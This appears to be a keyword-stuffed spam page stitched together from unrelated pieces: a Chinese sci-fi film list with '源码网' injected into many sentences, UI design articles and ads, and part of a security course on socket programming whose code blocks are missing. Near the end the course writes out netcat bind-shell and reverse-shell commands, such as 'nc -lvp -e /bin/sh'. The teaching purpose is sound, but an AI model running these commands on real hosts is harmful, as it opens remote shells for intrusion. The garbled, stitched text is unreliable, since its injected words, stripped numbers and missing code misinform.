1.有什么好看的源码网科幻片
2.UI设计中图标设计的方法有哪些?
3.信息安全课程8:套接字(socket) 编程
有什么好看的科幻片
《世界末日》灭世大灾难,震撼。源码网
《阿凡达》外形异种,源码网经典之作。源码网
《地球停转一天》:n多年前震撼过我。源码网
《地心游记》:年版的源码网动态ui源码,几年前看相当震撼。源码网
《超时空接触(又名 接触未来)》:朱迪福斯特主演。源码网超棒,源码网影史上的源码网经典。
《深海圆疑》:模仿《深渊》,源码网但没成功。源码网
《星球大战》系列:包括前传一共六集,源码网影史上的源码网巨作。
《终结者》系列:一二三,源码网二最经典,必看。
《火星任务》:科幻**经典,也是影史上的经典。
《红色星球》:也是讲火星的,一个神秘的星球。
《火星人入侵地球》:众星出演,比较搞笑。
《玩转太空船》:也是讲火星的,喜剧爆笑。
《侏罗纪公园》系列:恐龙复活。
《第三类接触》:斯皮尔伯格早期的作品,值得欣赏。
《黑客帝国》帝国系列:共3部——酷呀~~
《第五元素》:布鲁斯威力的经典科幻。
《迷失太空》:很不错的科幻**,大制作。
《时间机器》:时间旅行,竟然到了几十万年后。
《时间线》:也将穿梭时空。
《时空悍将》:丹泽尔华盛顿今年的新片,一般般。
《异形》系列:不用说了,恐怖外星异形。
《异种》系列:外星物种侵犯人类。
《铁血战士》系列:很精彩,但也很血腥。
《异形大战铁血战士》:两个经典系列弄在了一起。。。
《星际之门》:根据电视剧改编。
《世界大战》:斯皮尔伯格导演,靓汤佬主演。
《黑衣人》系列:搞笑比科幻更多。
《变形金刚》:这个不用说了吧。
《X战警》:根据漫画改编,很好看。
《蜘蛛侠》:这个不用介绍了吧
《超人》系列:最新作是超人前传。
《蝙蝠侠》系列:有点没落了。
《再生侠》:就看过一部,没有续作。
《神奇四侠》系列:目前有两集,拍的不错。
《透明人》:网上还有个栏续作不知真假,原作很不错。
《穿墙隐形人》:片子虽老,但很精彩,推荐。
《绿巨人》:李安执导的,忠于漫画改编,还不错。
《金刚》:彼得杰克逊翻拍经典更经典。
《超人集中营》:小制作,轻松幽默。
《机械战警》:都看过吧,没落的系列。。。。
《逃出克隆岛》:克隆人觉醒,出逃。成为真正的人。
《太空漫游》 :不用说了经典,就是适配找源码老了点。
《银河系漫游指南》:去年的片子,根据经典小说改编。
《银翼杀手》:哈里森福特主演,开创了一个科幻片的风格,推荐观看
《X档案:征服未来》:不错,可以看看。
《蝴蝶效应》:共有两部,续集比较一般。
《独立日》:场面宏大
《天地大冲撞》:彗星撞地球。
《世界末日》:也是彗星撞地球的。
《星河战队》:去外星杀虫子。。。。场面大,剧情弱。
《星际传奇》:前作和续作都精彩,推荐。
《机械公敌》:未来生活到处是机器人,安全吗?
《冲出宁静号》:又名《萤火虫》,枪战科幻片子。
《生化危机》系列:未来世界有僵尸病毒?也算恐怖片
《猿猴星球》:根据经典老片翻拍,没有原作震撼。
《人猿世界》:老片,比新的好看。
《火箭人》:经典科幻老片,背景是二战。
《阿波罗号》:因为是真实事件,所以更震撼。
《极度深寒》:严格意义上说是怪兽片。
《哥斯拉》:严不严格都是怪兽片,但发生在未来。
《复兴》:法国黑白动画片,拍摄制作技术很NB
《特警判官》:史泰龙的狂野科幻片。
《超时空战警》:也是史泰龙的科幻暴力片。
《时空特警》:尚格云顿的时空追凶片子。
《最终幻想:灵魂深处》:第一部没有真人演出的CG**
《进化》:外星生物坠落地球,一夜之间进化
《再造战士》系列:更接近枪战片。
《盲区行者》:风格怪异的科幻**,基努李维斯主演
《地狱男爵》:一个从纳粹打开的异域来到人间的怪物。
《捍卫机密》:基努李维斯早期片子,有点像黑客帝国
《后天》:大制作,小创意。
《守夜人》:俄罗斯的恐怖科幻大片。
《毁灭战士》:根据游戏改编的**。
《怪物》:韩国科幻大片,一般般。
《杀人硬件6.7》:丹泽尔华盛顿和拉塞尔克罗的大片。
《V字仇杀队》:内容比较晦涩。
《黑洞表面》:科幻惊悚片,穿越时空被人遗忘的飞船
请采纳。
UI设计中图标设计的方法有哪些?
UI设计中图标设计的方法有哪些?一、轮廓清晰带有渐变的图标
渐变色也是这两年最热的趋势,它同样出现在图标设计当中。相对微妙的渐变在图标设计当中,增加了视觉的维度和层次,这使得图标拥有了更加立体化的细节,这种设计使得图标本身的高级感更加明显,也恰如其分地增加了整个设计的信息量和丰富度。
二、色彩明快视觉有趣的图标
并非所有的图标都必须是单色的,但是太多的色彩挤在一个小图标上的时候,会让整个设计显得混乱不堪。通过非常有限的几种色彩来设计图标,就能够让图标显得足够有趣了,同时,如果这几种色彩也足够明快,互相补充,就更吸引用户了。这一趋势在年也显得非常突出。
三、形同APP ICON的图标
类似APP ICON一样的图标一直都存在,但是没有像今年这么流行过。使用圆角边框外轮廓,带有彩色背景,中间是几何特征明显的图形和元素,但是搜源码软件并非用作APP的入口,而是运用在网页、APP内等其他的地方。它的流行可能是因为这种样式可以暗示用户,图标背后功能的价值。
四、笔触粗重线条统一的图标
这种[粗线条]的单色图标在今年尤其受追捧,线条清晰统一,笔触粗壮,比起常规的线性图标更加厚重,而且拥有一种莫名的萌感。虽然同样只是单色的设计,但是几何感更强,视觉重量更明显,让用户的双眼无法错过。
五、仍然扁平但更加多变的图标
扁平化设计仍然没有过时,始终还在流行。扁平化的图标在视觉上相对而言更加简约,可以被设计地更加多变,也可以同各种不同的设计风格兼容,和不同的元素搭配起来使用,因此也同样收到设计师和用户的青睐。
六、表情符号化的图标
表情符号,Emoji几乎已经成为一种独立的语言,而图标设计也同样受到了表情符号的影响,各种可供识别的视觉元素,尤其是各种角色头像,都被制作成为图标,在不同的场合使用。表情符号化的图标还有哪些更有趣的用法,还有待探究。
七、永远经典的线性图标
线性图标几乎可以用在任何场合,APP,网页,海报,说它们是不老的经典一点都不为过。线性图标有着良好的可塑性,无论是大是小都可以清晰地传达信息,表明概念。在年,线性图标依然是主流,依然是需求大户,相关的素材也一直都稳定地产出着。
八、结构简单含义明确的图标
对于简约设计的追求,一直贯穿着整个年。这一点也同样体现在图标设计上,更加图形化,更加简约的形体,但是保持清晰感知度的图标设计在今年大量的涌现。就像上面的这组图标,美食的轮廓通过简单的形体来塑造,细节则使用相同的小圆点和线条来补充,非常巧妙。
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Photoshop视频教程-(定义画笔、颜色减淡)-传智播客设计学院-PS视频教程.zip Photoshop视频教程-(形状、钢笔、鼠绘基础)-传智播客设计学院-PS视频教程.zip Photoshop视频教程-(渐变、高级自由变换)--传智播客设计学院-PS视频教程.zip Photoshop视频教程-(定义图案、套索抠图)--传智播客设计学院-PS视频教程.zip Photoshop视频教程-(选区、移动、变形)-传智播客设计学院-PS视频教程.zip Java学习交流社区 - java源码-java视频教程-尽在JAVA教程网.htm
ui设计应该怎么学?
可以自学,建议通过以下几种方式:
1、学习软件知识
包括掌握Photoshop、Axure、Illustrator、sketch、蓝湖等常用软件。另外,制作原型,界面,图标制作,素材制作,切图等等相关步骤的软件都需学会。
软件是业务表源码是设计师的基础,新手刚入门可以先从这点入手。娴熟的技法,是完美展现设计作品的必备条件,要熟练掌握好。
2、临摹作品
对于刚入门的UI设计师来说只要去图库网站找一些素材,借助工具进行修饰即可,其实这只能锻炼你的借鉴能力,当你的技法娴熟到一定程度,就可以尝试临摹。通过临摹,一则用来强化技法层面的能力,二来也能提升初学者的创新能力。
临摹的内容,可以有两方面选择:一种是系统自带的图标,另一种则是行业牛人的设计作品,捉摸他们的设计风格、思想和细节,都能加深对设计的认识
3、掌握平面设计理论知识
包括要掌握构图、排版、色彩和图形的基础理论知识。学习的途径毋庸置疑我们首选从书本获得!
4、锻炼手绘能力。
成为一个优秀的UI设计师需要一定的手绘能力,为什么?首先,在纸上的动手能力比在软件上完成较快速,效率有一定提升。
另一方面,通过手绘,能突出自己创作的与众不同,甚至能够从“乱涂乱画”中得到灵感。没有美术基础的小伙伴也不要太担心,这些后天可以勤加练习弥补的。
UI设计是什么?UI如何系统学习?
今天小编要跟大家分享的文章是关于UI设计是什么?UI如何系统学习的文章。随着UI技术越来越火,想要学习UI的人也越来越多,相信想要学习UI技术的小伙伴们应该存在这些疑问,下面就来和小编一起看一看这两个问题的回答吧:
首先,UI设计是什么?
UI设计,全称UserInterfac,翻译成中文意思叫做用户界面设计。
UI设计按用户和界面来分可分成四种UI设计。
分别是移动端UI设计,PC端UI设计,游戏UI设计,以及其它UI设计。
第一种:移动端UI设计
移动端UI设计,也就是手机用户,界面指的就是手机界面,也就是说手机上的所有界面都是移动端UI设计。
比如微信聊天界面,QQ聊天界面,手机桌面,手机上看到的所有图标界面点了后会有反应都可以理解成移动端UI设计。
第二种:PC端UI设计
PC端UI设计,也就是电脑用户,界面指的就是电脑上的操作界面。
像电脑版的QQ,微信,PS等软件和网页的一些按钮图标等。都属于PC端UI设计。
第三种:游戏UI设计
游戏UI设计,用户也就是游戏UI用户,界面指的是游戏中的界面,游戏中的场景人物什么的就是不UI了。
像手游王者荣耀,端游英雄联盟和一些其它游戏中的界面,登录界面、个人装备属性界面也都是属于游戏UI设计。
第四种:其它UI
像VR界面、AR界面、ATM界面、一些智能设备的界面,比如智能电视、车载系统等等,c cad 源码用户较少,但又需要,未来有可能很火,有可能保持现状。
好咱们讲完了什么是UI设计,再说下UI如何系统学习。下面我们一起来看一看UI如何系统学习吧。
1.准备篇:电脑手机时间
电脑:台式机或笔记本,
配置要求:8G以上内存,I5以上处理器,固态硬盘。
大约在元左右。
手机:安卓或苹果,要求近几年出的手机,太老的不行,
比如小米手机都可以。
1和2就有点太老了,没有办法更新最新的安卓系统。
苹果则最最少能用苹果6以上的手机。
同时性能已经不太支持现在好多大的软件及游戏,
这对于学习用户体验会有很大的影响,其次就是硬件跟不上,
比如分辨率,跟不上现在的主流手机,我们自己不经常使用新的手机。
是很难融入到最新的设计法则里的。
时间:要求每天最少有2个以上的小时,坚持最少半年,
如果没有可以挤时间,比如上班族住的地方离公司近点,
虽然会贵一些房租,但是能省下不少坐车的时间,
时间就是金钱,学生和其它人员也可以晚睡或学习时间管理的方法,
相信2个小时的时间是完全可以挤出来的,好这就是咱们的准备阶段,因为没有准备那就只能面对了,生活工作也是如此。
2.方法篇:视频网站书籍
视频:大家可以多去MOOC和TED网站,学习一些各大顶尖学校各大牛人的视频,比如时间管理,人际沟通,创意,管理,心理学,等多个领域的课程,这对于我们UI设计的职业发展是非常的有帮助的。
网站:站酷网UI中国优设网花瓣网
这4大网站都是非常的不错,无论是小白学员还是已经有从事了UI工作,都可以得到不错的提升。里面有软件技法教程,设计理论教程,这几个网站也是UI设计师,常用到和必须了解的设计网站,让你如鱼得水,快速成长起来。
书籍:当当网或亚马逊搜索UI设计书籍排行榜前面的几十本都是OK的。
也可以去下载一些电子版的UI设计书籍进行大量的学习也是OK的,如大家都没有电子版本的书籍下载渠道,这里小传给大家收获整理了一批,有需要的小伙伴,在评论区给我留言或是直接私信我,回复“书籍”获取。
3.学习篇:大量临摹用心学习
大量临摹,借助于上面介绍的方法,大量的临摹一些作品,临摹的时候,一定要多想,原作者是怎么画出来的,用于学习技法,同时也要思考原作者为什么这样设计,用于学习理论思维。
那么要临摹到多少才可以呢,结果就是临摹到可以搞懂作者的所有设计思维和技法就足够了。临摹多了才能出原创,所有人都是如此。
用心学习,就是学习的时候一心一用,不要做其它事,专心学,不要上课时,玩手机,聊QQ,聊微信,聊天等,要用心做笔记,不要让什么事干扰到你,这样才能高效率的学习。
以上就是小编今天为大家分享的关于什么是UI设计,UI如何系统的学习的文章,希望本篇文章能够对想要学习UI设计的小伙伴们有所帮助,想要了解更多UI相关知识,记得关注北大青鸟UI培训官网。
UI设计需要学习哪些软件啊?
我们在学习UI设计的过程当中,需要学什么ui设计软件,需要学习到很多知识,比如软件 Photoshop、illustrator、Ae、Axure、sketch这些都是一名UI设计必需要掌握好的软件。
学习到这些软件,自学就可以,很多网站都有教程,那么这几款软件在UI设计工作是负责什么的呢?与占的比重是多少?今天来一看究竟!
Photoshop—UI界面世界设计-%
illustrator-更多是UI图标设计—5%
After Effects-交互动效设计-5%
Axure RP-交互原型图设计-%
Sketch-交互原型图设计-%
一、PS CC
PS是一款图像处理软件,功能很强大,可以做界面设计、可以做图标设计等等
ps有很多功能,在图像、图形、文字、视频、出版印刷等各方面都有涉及.Adobe家族的顶梁设计软件、想从事设计工作PS软件一定要精通
二、AI CC
这个AI不是人工智能,Adobe illustrator是一种应用于出版、多媒体和在线图像的工业标准矢量插画的软件。在UI设计中AI软件专门做图形处理的工具,可以做矢量的图形,包括图标、文字设计等
AI是出版、多媒体和在线图像的工业标准矢量插画软件。 AI可以用来从事,平面设计,网页设计,UI设计等多种设计工作。
三、AE CC
在UI设计中AE主要用制作UI动效,例如转场动效、载入动效、粒子动效等等
适用于从事设计和视频特技的机构,包括电视台、动画制作公司、个人后期制作工作室以及多媒体工作室。属于层类型后期软件
四、ARP
Axure RP是一个专业的快速原型设计工具,让负责定义需求和规格、设计功能和界面的专家能够快速创建应用软件或Web网站的线框图、流程图、原型和规格说明文档。作为专业的原型设计工具,它能快速、高效的创建原型,同时支持多人协作设计和版本控制管理。在UI设计中ARP主要用制作交互原型图。
Axure RP的使用者主要包括商业分析师、信息架构师、可用性专家、产品经理、IT咨询师、用户体验设计师、交互设计师、界面设计师等。
五、sketch
在UI设计中ARP主要用制作交互原型图。
和ARP工具一样,不过在做苹果公司的原型图处理要更加容易
最后补一句,软件只是一个工具,千万不要觉得会了软件就会了设计,不要太依靠软件了,学会设计方法,和设计思路结合使用工具才是正解。
六、墨刀
特别推荐一款上手很快的在线原型设计工具,借助墨刀,UI设计师能够快速构建移动应用产品原型,并向他人演示。覆盖整个产品的设计和开发流程,帮助整个产品团队最大限度的发挥协同效应的团队协同工具。ARP和墨刀可以二选一,两款工具基本相同。
以上就是UI设计师需要用到的核心软件了,但UI设计你学会了这些软件,也才只是最基础的第一步,并算不上一名UI设计师,UI设计师需要的是真正的产品设计思维,清楚用户的使用场景、用户需求、理解企业的产品愿景等。
操作技巧决定设计速度,创意思维决定设计高度,需要学习UI设计的小伙伴们抓紧这个机会啊!
近些年来UI设计行业非常火爆的现象。还不快去抓住这个机会。
UI设计需要掌握哪些基础知识?
UI设计需要掌握以下这些基础知识:
一、图形界面设计(GUI):
1、UID预科:网络数字化生存、项目管理规范、思维导图、辅助软件、职场精英;
2、GUI软件基础:Photoshop、Illustrator、CorelDraw、Indesign ;
3、商业设计流程及规范:企业形象识别系统建设流程、平面设计与后期印刷;
4、阶段实训:产品展示设计、企业形象识别系统设计。
二、传统美术(AUI):
1、美术基础:素描的起源与绘画的作用、绘画线条练习、绘画构图;
2、素描速写:几何体、静物、设计素描;
3、色彩原理:色彩基础、色彩与视觉、色彩搭配、色彩与设计、绘画与创意;
4、阶段实训:手绘图标。
三、Web界面设计(WUI):
1、WEB界面设计软件基础:Fireworks、Dreamweaver、Flash;
2、WEB界面设计:WEB界面设计、PC客户端软件界面设计;
3、WEB标准化布局:HTML/HTML5语言、CSS样式表、布局技巧与浏览器兼容;
4、阶段实训:中小型企业网站项目、电子商务网站项目、PC客户端软件界面设计。
四、移动设备界面设计(MUI):
1、图标设计:剪影图标、2D彩色图标、3D彩色图标、写实图标;
2、交互设计:交互原型图软件Axure RP、苹果iOS系统应用设计规范谷歌Android系统应用设计规范 ;
3、界面设计:iPhone应用交互界面设计实例、iPad应用交互界面设计实例、Android应用交互界面设计实例、Windows Phone应用交互界面设计实例;
想要了解更多关于ui设计的相关信息,推荐选择Pixso协同设计。该工具不仅是一站式产品设计协作工具,更是一款专业的UI/UX设计工具。更多矢量网格、布尔运算、样式创建、智能排版等高阶功能,组件级自动布局,增加或删除内容都无需手动调整,智能排版,且自适应不同屏幕尺寸。使设计师真正专注于创造本身。
信息安全课程8:套接字(socket) 编程
本文的socket介绍仅服务于课程目的,点到即止。如果希望继续深入学习socket,可以参照《Unix网络编程》等书籍以及参考文献。
套接字(socket)允许在相同或不同的机器上的两个不同进程之间进行通信。更准确地说,它是使用标准Unix文件描述符与其他计算机通信的一种方式。在Unix中,每个I/O操作都是通过写入或读取文件描述符来完成的。文件描述符只是与打开文件关联的整数,它可以是网络连接、文本文件、终端或其他内容。
对于程序员来说,套接字的使用和行为很像更底层的文件描述符。这是因为对于套接字,read()和write()等命令可以像在文件和管道编程中同样的使用。
套接字首先在BSD 2.1中引入,然后在BSD 4.2形成当前的稳定版本。现在,大多数最新的UNIX系统版本都提供了套接字功能。
Unix Socket用于客户端 - 服务器应用程序框架中。服务器是根据客户端请求执行某些功能的过程。大多数应用程序级协议(如FTP、SMTP和POP3)都使用套接字在客户端和服务器之间建立连接,然后交换数据。
用户可以使用四种类型的套接字。前两个是最常用的,后两个使用较少。一般假定进程仅在相同类型的套接字之间进行通信,但是也没有限制阻止不同类型的套接字之间的通信。
使用socket的时候需要使用各种结构来保存有关地址和端口的信息以及其他信息。 大多数套接字函数都需要一个指向套接字地址结构的指针作为参数。通常使用四元组来描述一个网络连接,使用socket的时候,往往也需要数据结构来描述这些信息。
这是一个通用的套接字地址结构,在大多数套接字函数调用中都需要使用它。 成员字段的说明如下。sa_family包括以下可选值。每个值代表一种地址族(address family),在基于IP的情况中,都使用AF_INET。
其中,sin_family和sockadd的sa_family一样,包括四个可选值:
sin_port是端口号,位长,网络字节序(network byte order);sin_addr是IP地址,位长,网络字节序(network byte order)。sin_zero,8个字节,设置为0。
至于为何会使用两个数据结构sockaddr和sockaddr_in来表示地址,原因是如sa_family所指出的,socket设计之初本来就是准备支持多个地址协议的。不同的地址协议由自己不同的地址构造,譬如对于IPv4就是sockaddr_in, IPV6就是sockaddr_in6, 以及对于AF_UNIX就是sockaddr_un。sockaddr是对这些地址的上一层的抽象。另外,像sockaddr_in将地址拆分为port和IP,对编程也更友好。这样,在将所使用的的值赋值给sockaddr_in数据结构之后,通过强制类型转换,就可以转换为sockaddr。当然,从sockaddr也可以强制类型转换为sockaddr_in。
在sockaddr_in中还有一个结构体,struct in_addr,就是一个位的IP地址,同样是网络字节序。
为了允许具有不同字节顺序约定的机器相互通信,Internet协议为通过网络传输的数据指定了规范的字节顺序约定。 这称为网络字节顺序。在建立Internet套接字连接时,必须确保sockaddr_in结构的sin_port和sin_addr成员中的数据在网络字节顺序中表示。
不用担心这几个数据结构以及字节序,因为socket接口非常贴心地准备好了各种友好的接口。
譬如对上面描述的过程,想要把地址...和端口绑定到一个socket,以下代码就足够了:
对于简单的socket应用编程,所需要做的就是记住流程。
使用客户端-服务器端(client-server)模型作为一个例子。server一般打开端口,被动侦听,不需要知道客户端的IP和端口;而client发起请求,必须知道服务器端的IP和端口。
在这个过程中,所需要用到的函数如下:
再用一张图描述下客户端和服务器端的流程:
接下来,我们看C/S的代码实例。
客户端代码:
以及服务器端代码:
编译之后,就可以在两个进程间进行通信了。这个简单代码的作用是服务端收到客户端发来的字符串并回显。
如果将上面代码中的while循环部分修改为:
那么实现的功能就是两个进程之间进行输入交流。
接下来思考问题:能不能利用上面的socket通信,获得一个shell?上面的例子中,当我们输入一个字符串,服务器给我们一个字符串,如果有了shell,发送过去一个命令,能够返回执行的结果。
实际上,只要对上面的代码做很少的修改,就可以实现获得shell的目的。
这里,我们稍微讨论一下,以上代码到底做了什么事情。
首先要习惯一个概念:在Linux中,一切皆文件。普通的文本文件确实是文件,但是设备、socket、管道等都被当成文件处理。所以我们获得的connfd也就是一个文件描述符。在Linux的文件描述符中有三个是特殊的,任何进程都一样的,0、1、2,分别代表标准输入,标准输出和标准出错。而它们都指向同一个tty(teleType,终端)。如果此时再去打开一个新的文件,它的文件描述符会是3。
为了进一步理解文件描述符,可以使用下面的代码:
能讲清楚上面代码的过程吗?下面的代码呢?
上面的代码中,把0分别换成1、2、3有什么结果?
下面代码的运行结果是什么呢?
另外,能否描述shell的工作过程?
可以再看下一个简单实现:
以及打开shell是怎么回事呢?当我们在命令行中输入bash(调用/bin/bash)的时候,就会在shell中打开一个新的shell。所以,当使用execlp调用/bin/bash的时候,就是打开了新的shell。
请记住,在这里我们有大量的内容没有介绍,譬如getservbyname、select、多线程、信号等。再次地,如果需要进一步学习,请参阅《unix网络编程》。
另外: 关于AF_INET和PF_INET
在一些文档中,可能会遇到"PF_INET"。 出现AF_INET和PF_INET是历史原因。在网络设计之初,AF = Address Family,PF = Protocol Family,所以最好在指示地址的时候使用AF,在指示协议的时候使用PF。因为那时人们希望同一个地址族( "AF" in "AF_INET" )可能支持多个协议族 ("PF" in "PF_INET" )。这样的话,就可以加以区分。
但是,并没有出现同一个地址族支持多个协议族的情况,现在在windows中,
所以在windows中AF_INET与PF_INET完全一样 。在Linux中,虽然 所以正确的做法是在struct sockaddr_in中使用AF_INET,以及在调用socket()时使用PF_INET。但实际上,可以在任何地方使用AF_INET。 而且,既然这就是W. Richard Stevens在他的书中所做的,那么我们这样做也毫无问题。
至于AF_PACKET 和 PF_PACKET,可以查看源代码:
可以发现:
也即,值是相同的。
利用nc实现正向shell和反向shell。正向shell:
受害者命令:nc -lvp -e /bin/sh;也即受害者在端口侦听,并且在这个端口上执行/bin/sh;
攻击者命令:nc ..1.2 ,也即攻击者去连端口,然后发送过去的数据在受害者主机执行,并将执行结果返回给攻击者;
反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。之所以使用反向shell,主要是因为有时候防火墙可能会阻止正向的shell。反向shell:
攻击者侦听:nc -lvp ,攻击者打开了端口,等待连接;
被攻击者去连接攻击者,并且同时执行/bin/sh,连上攻击者之后,攻击者发送的命令可以在受害者主机执行,执行结果返回给攻击者。
在尝试nc -e选项的时候会出现
也即,nc有不同的版本,需要使用nc.traditional 才能使用-e选项。
可以使用 sudo apt-get install netcat命令,先安装nc.traditional 版本,然后使用update-alternatives来进行挑选。update-alternatives是Debian系统中专门维护系统命令链接符的工具,通过它可以很方便的设置系统默认使用哪个命令、哪个软件版本。
之后可以实现正向绑定和反向shell。
反向shell的代码,也即在client端打开shell:
参考: